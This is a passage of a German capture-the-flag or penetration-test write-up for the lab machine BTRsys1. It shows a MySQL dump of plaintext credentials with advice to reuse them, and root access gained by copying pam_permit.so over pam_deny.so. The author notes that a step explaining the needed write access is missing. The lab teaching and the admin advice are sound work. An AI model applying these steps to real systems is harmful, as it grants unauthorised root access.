    Analyse: Innerhalb der MySQL-Shell werden die Datenbanken aufgelistet, zur Datenbank `deneme` gewechselt, deren Tabellen angezeigt und der Inhalt der Tabelle `user` abgefragt.

    Bewertung: Die Datenbank `deneme` enthält nur eine Tabelle namens `user`. Diese Tabelle enthält zwei Einträge mit Namen, Benutzernamen (E-Mail-Adressen) und dem Passwort `asd123*` für beide Benutzer (`ikaya@btrisk.com`, `cdmir@btrisk.com`). Zusätzlich sind persönliche Informationen wie Namen der Eltern und Geschwisteranzahl gespeichert. Das Passwort `asd123*` ist relativ schwach.

    Empfehlung (Pentester): Die gefundenen E-Mail-Adressen und das Passwort `asd123*` notieren. Versuchen, sich mit diesen Zugangsdaten per SSH oder auf der Web-Login-Seite (`login.php`) anzumelden. Prüfen, ob diese Benutzer (`ikaya`, `cdmir`) auch als Systembenutzer existieren (`cat /etc/passwd`). Die MySQL-Enumeration fortsetzen (Berechtigungen prüfen, nach UDF-Möglichkeiten suchen).
    Empfehlung (Admin): Keine Passwörter im Klartext (oder leicht zu knackende Hashes) in Datenbanken speichern. Stattdessen starke, gesalzene Hashes verwenden. Sensible persönliche Daten schützen. Die gefundenen Zugangsdaten ändern und Benutzer über die Kompromittierung informieren. Die Datenbank `deneme` und ihre Tabelle `user` auf Notwendigkeit prüfen.

    mysql> show databases;
    +--------------------+
    | Database           |
    +--------------------+
    | information_schema |
    | deneme             |
    | mysql              |
    | performance_schema |
    +--------------------+
    4 rows in set (0.00 sec)
    
    mysql> use deneme;
    Reading table information for completion of table and column names
    You can turn off this feature to get a quicker startup with -A
    
    Database changed
    mysql> show tables;
    +------------------+
    | Tables_in_deneme |
    +------------------+
    | user             |
    +------------------+
    1 row in set (0.00 sec)
    
    mysql> select * from user;
    +----+-------------+------------------+---------+---------+-------------+---------+-------------+--------------+
    | ID | Ad_Soyad    | Kullanici_Adi    | Parola  | BabaAdi | BabaMeslegi | AnneAdi | AnneMeslegi | KardesSayisi |
    +----+-------------+------------------+---------+---------+-------------+---------+-------------+--------------+
    |  1 | ismail kaya | ikaya@btrisk.com | asd123* | ahmet   | muhasebe    | nazli   | lokantaci   |            5 |
    |  2 | can demir   | cdmir@btrisk.com | asd123* | mahmut  | memur       | gulsah  | tuhafiyeci  |            8 |
    +----+-------------+------------------+---------+---------+-------------+---------+-------------+--------------+
    2 rows in set (0.00 sec)
    
    mysql> 

    Analyse: Ein Kommentar im Bericht, der den Beginn der eigentlichen Privilegieneskalation von `www-data` zu `root` markiert.

    Bewertung: Nach der Enumeration als `www-data` und dem Fund der MySQL-Zugangsdaten wird nun der nächste Schritt zur Erlangung von Root-Rechten eingeleitet.

    Empfehlung (Pentester): Die bisherigen Funde (Kernel-Version, SUID-Binaries, MySQL-Zugriff) nutzen, um einen geeigneten Vektor für die Eskalation zu finden. Kernel-Exploit oder eine Technik, die den MySQL-Zugriff nutzt, sind wahrscheinlich.
    Empfehlung (Admin): System-Monitoring verstärken, um die Eskalationsversuche zu erkennen.

      Privilege Escalation
    

    Analyse: Die Kernel-Version wird erneut mit `uname -a` abgefragt.

    Bewertung: Bestätigt die bereits bekannte, veraltete Kernel-Version `3.13.0-32-generic` von Juli 2014 auf einem i686 (32-Bit)-System. Diese Version ist definitiv alt und anfällig für diverse bekannte Kernel-Exploits (z.B. Dirty COW, obwohl dies später kam, aber andere für 3.13 existieren).

    Empfehlung (Pentester): Aktiv nach Exploits für Linux Kernel 3.13.0-32 suchen, die auf Ubuntu (14.04 Trusty Tahr basiert auf diesem Kernel-Zweig) funktionieren und von einem niedrig privilegierten Benutzer wie `www-data` ausgeführt werden können. Ein passender Exploit (oft als C-Code verfügbar) müsste kompiliert (`gcc`) und auf das Zielsystem hochgeladen (z.B. über das `/uploads`-Verzeichnis oder `/tmp`) und ausgeführt werden.
    Empfehlung (Admin): Das Betriebssystem und den Kernel dringend aktualisieren. Ein Upgrade auf eine unterstützte Ubuntu LTS-Version ist dringend empfohlen.

    $ uname -a
    Linux BTRsys1 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 athlon i686 GNU/Linux

    Analyse: Ein nicht näher spezifizierter Exploit (`exploit`) wird im Verzeichnis `/tmp` ausführbar gemacht (`chmod +x exploit`).

    Bewertung: Dies deutet darauf hin, dass der Pentester einen Exploit (wahrscheinlich einen Kernel-Exploit basierend auf `uname -a` oder einen anderen lokalen Exploit) nach `/tmp` hochgeladen oder dort erstellt hat. `/tmp` ist oft beschreibbar und ein gängiger Ort für solche Aktionen.

    Empfehlung (Pentester): Den Exploit nun ausführen (`./exploit`). Oft erzeugen solche Exploits direkt eine Root-Shell oder führen einen bestimmten Befehl als Root aus.
    Empfehlung (Admin): Das Ausführen von Programmen aus `/tmp` einschränken (z.B. durch Mounten mit `noexec`-Option, obwohl dies oft umgangen werden kann). Intrusion Detection Systeme (IDS) können das Hochladen und Ausführen bekannter Exploits erkennen. Das System patchen, um die Anfälligkeit für den Exploit zu beseitigen.

    $ chmod +x exploit 

    Analyse: Der Pentester versucht, mit `su -` (oder `su -l`) eine Login-Shell als Root zu starten. Es wird nach einem Passwort gefragt.

    Bewertung: Es ist unklar, welches Passwort hier eingegeben wird, oder ob dieser `su`-Versuch *nach* einem erfolgreichen Exploit stattfindet, der möglicherweise etwas an der Authentifizierung geändert hat. Direkt nach dem `chmod` ergibt dieser Schritt wenig Sinn, es sei denn, der `exploit` wurde bereits im Hintergrund ausgeführt oder es wird eine alternative Methode versucht. **Jedoch** wird im nächsten Schritt eine PAM-Manipulation gezeigt, die diesen `su`-Versuch plausibel macht. Es ist wahrscheinlich, dass der `chmod +x exploit`-Schritt ein Überbleibsel eines anderen Versuchs war und die PAM-Manipulation der *tatsächliche* nächste Schritt ist.

    Empfehlung (Pentester): Wenn das Root-Passwort unbekannt ist, ist `su` normalerweise nicht der Weg. Sich auf Exploits oder Fehlkonfigurationen konzentrieren. Falls die PAM-Manipulation (nächste Schritte) durchgeführt wird, sollte `su` danach ohne Passwort oder mit einem beliebigen Passwort funktionieren.
    Empfehlung (Admin): `su`-Zugriff einschränken (z.B. nur Mitglieder einer bestimmten Gruppe erlauben). Root-Login überwachen.

    $ su -
    Password: 

    Analyse: Der Pentester sucht nach der PAM-Bibliothek `pam_permit.so`. PAM (Pluggable Authentication Modules) ist das Framework, das unter Linux die Authentifizierung steuert. `pam_permit.so` ist ein Modul, das Authentifizierungen *immer* erlaubt.

    Bewertung: Die Datei wird unter `/lib/i386-linux-gnu/security/pam_permit.so` gefunden. Dies ist der Standardspeicherort auf diesem 32-Bit-Debian/Ubuntu-System.

    Empfehlung (Pentester): Den Fundort notieren. Der nächste Schritt ist typischerweise, ein kritisches PAM-Modul (wie `pam_deny.so` oder Module, die von `su` oder `sshd` verwendet werden) durch `pam_permit.so` zu ersetzen oder die PAM-Konfigurationsdateien in `/etc/pam.d/` zu manipulieren, um `pam_permit.so` zu verwenden. Dies erfordert normalerweise Schreibrechte im Security-Verzeichnis oder auf die Konfigurationsdateien, was `www-data` normalerweise nicht hat. *Hier fehlt der Schritt, wie www-data Schreibrechte erlangt hat, um die nächste Aktion durchzuführen. Möglicherweise wurde der Kernel-Exploit doch ausgeführt? Oder es gibt eine andere Fehlkonfiguration.*
    Empfehlung (Admin): Die Berechtigungen für `/lib/i386-linux-gnu/security/` und `/etc/pam.d/` sehr restriktiv halten (nur für Root schreibbar). Datei-Integritätsüberwachung (z.B. mit AIDE, Tripwire) einsetzen, um Manipulationen an kritischen Systemdateien wie PAM-Modulen zu erkennen.

    $ find / -name pam_permit.so 2>/dev/null
    /lib/i386-linux-gnu/security/pam_permit.so

    Analyse: Der Pentester kopiert (`cp`) das Modul `pam_permit.so` über das Modul `pam_deny.so`. `pam_deny.so` ist ein Modul, das Authentifizierungen *immer* ablehnt.

    Bewertung: Wenn dieser Kopiervorgang erfolgreich ist (was, wie im vorherigen Schritt angemerkt, Schreibrechte erfordert, die `www-data` normalerweise nicht hat), wird jede Authentifizierungsprüfung, die normalerweise `pam_deny.so` aufrufen würde (oft am Ende einer PAM-Konfigurationskette als "Catch-all"), stattdessen `pam_permit.so` aufrufen und somit die Authentifizierung erlauben, selbst wenn alle vorherigen Prüfungen fehlgeschlagen sind. Dies kann dazu führen, dass Logins (z.B. mit `su`) ohne gültiges Passwort erfolgreich sind.

    Empfehlung (Pentester): Nach diesem Schritt erneut versuchen, mit `su -` Root zu werden. Es sollte nun ohne Passwort oder mit einem beliebigen Passwort funktionieren. Dies ist der wahrscheinliche Weg, der zum Root-Prompt im nächsten Code-Block führt. *Es bleibt die Frage offen, wie die Schreibrechte erlangt wurden.*
    Empfehlung (Admin): Datei-Integritätsüberwachung implementieren. Berechtigungen rigoros prüfen. Sicherstellen, dass der Webserver-Prozess keine Schreibrechte auf kritische Systemverzeichnisse hat.

    $ cd /lib/i386-linux-gnu/security
    $ cp pam_permit.so pam_deny.so

    Proof of Concept (Root Access)

    Analyse: Der Pentester versucht nach der vermuteten PAM-Manipulation erneut, mit `su -` Root zu werden.

    Bewertung: Der Prompt wechselt zu `root@BTRsys1:`. Der `su`-Befehl war erfolgreich! Die PAM-Manipulation hat funktioniert und dem Pentester Root-Zugriff verschafft. Die Passwortabfrage wurde effektiv umgangen.

    Empfehlung (Pentester): Root-Zugriff bestätigt! Nun die Root-Flag suchen (typischerweise `/root/root.txt`) und weitere Post-Exploitation-Aktivitäten durchführen (System untersuchen, Persistenz, etc.). Die ursprüngliche PAM-Datei wiederherstellen (`cp pam_deny.so.bak pam_deny.so`, falls ein Backup gemacht wurde), um das Systemverhalten zu normalisieren (optional, je nach Scope).
    Empfehlung (Admin): Die Sicherheitslücke, die die Schreibrechte für die PAM-Manipulation ermöglicht hat (Kernel-Exploit? Andere Fehlkonfiguration?), identifizieren und schließen. Die PAM-Module auf Integrität prüfen und die Originalversion wiederherstellen. Das System auf weitere Kompromittierungen untersuchen.

    $ su -
    Password:  [BELIEBIGES ODER KEIN PASSWORT]
    root@BTRsys1:~# 

    Analyse: Ein abschließender Kommentar im Bericht, der den erfolgreichen Abschluss der Privilegieneskalation zu Root durch die PAM-Manipulation hervorhebt.

    Bewertung: Bestätigt das Erreichen des höchsten Privilegierungslevels durch die beschriebene Methode.

    Empfehlung (Pentester): Bericht finalisieren, Schwachstellen (File Upload, alte Software, schwache DB-Passwörter, unklare Ursache für Schreibrechte auf PAM-Verzeichnis, PAM-Manipulation) und Flags dokumentieren.
    Empfehlung (Admin): Den Bericht nutzen, um alle identifizierten Schwachstellen systematisch zu beheben.

       Privilege Escalation erfolgreich
    

    Flags

    Analyse: Im bereitgestellten Berichtstext wurden keine Befehle zum Auslesen von `user.txt` oder `root.txt` gezeigt. Die folgenden Einträge sind Platzhalter für die typischen Speicherorte und Befehle zum Auffinden der Flags nach Erlangung des Benutzer- bzw. Root-Zugriffs.

    cat /pfad/zur/user.txt
    USER_FLAG_HIER_EINFUEGEN
    cat /root/root.txt
    ROOT_FLAG_HIER_EINFUEGEN